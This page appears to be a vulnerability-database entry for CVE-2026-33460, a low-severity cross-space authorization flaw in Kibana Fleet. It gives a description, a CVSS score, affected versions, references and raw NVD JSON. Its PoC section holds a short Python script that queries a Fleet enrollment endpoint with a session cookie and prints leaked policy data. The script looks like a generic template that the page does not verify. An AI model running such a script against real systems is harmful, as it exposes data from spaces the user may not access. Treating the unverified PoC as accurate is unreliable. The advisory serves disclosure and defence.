CVE-2026-33460

Description

Incorrect Authorization (CWE-863) in Kibana can lead to cross-space information disclosure via Privilege Abuse (CAPEC-122). A user with Fleet agent management privileges in one Kibana space can retrieve Fleet Server policy details from other spaces through an internal enrollment endpoint. The endpoint bypasses space-scoped access controls by using an unscoped internal client, returning operational identifiers, policy names, management state, and infrastructure linkage details from spaces the user is not authorized to access.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:* - VULNERABLE

Kibana 8.19.14 之前的版本

Kibana 9.2.8 之前的版本

Kibana 9.3.3 之前的版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (example)
target_url = "https://<kibana-host>:<port>/api/fleet/enrollment_keys"

# Authentication cookie/token (obtained after login)
auth_cookie = {
    "sid": "<session_id>"
}

# The vulnerability allows a user with Fleet agent management privileges in one space
# to access policy details from other spaces via an internal endpoint.
try:
    response = requests.get(target_url, cookies=auth_cookie, verify=False)
    
    if response.status_code == 200:
        data = response.json()
        print("[+] Successfully retrieved policy data:")
        print(data)
        # Check if data contains information from unauthorized spaces
        if "items" in data:
            for item in data["items"]:
                # Leaked fields: operational identifiers, policy names, management state
                print(f"Policy Name: {item.get('name')}, ID: {item.get('id')}")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33460
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33460
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33460/
[4] VulDB https://vuldb.com/cve/CVE-2026-33460
[5] https://discuss.elastic.co/t/kibana-8-19-14-9-2-8-9-3-3-security-update-esa-2026-25/385813

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33460", "sourceIdentifier": "[email protected]", "published": "2026-04-08T17:21:18.930", "lastModified": "2026-04-21T17:51:24.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Authorization (CWE-863) in Kibana can lead to cross-space information disclosure via Privilege Abuse (CAPEC-122). A user with Fleet agent management privileges in one Kibana space can retrieve Fleet Server policy details from other spaces through an internal enrollment endpoint. The endpoint bypasses space-scoped access controls by using an unscoped internal client, returning operational identifiers, policy names, management state, and infrastructure linkage details from spaces the user is not authorized to access."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.14", "matchCriteriaId": "CF93FCD4-2955-45FD-B96D-925121A156F7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.2.8", "matchCriteriaId": "301F60F3-1479-432C-875A-76797F9A16D8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.3.0", "versionEndExcluding": "9.3.3", "matchCriteriaId": "5EE7B9F3-E587-498B-822D-785CB848F767"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/kibana-8-19-14-9-2-8-9-3-3-security-update-esa-2026-25/385813", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}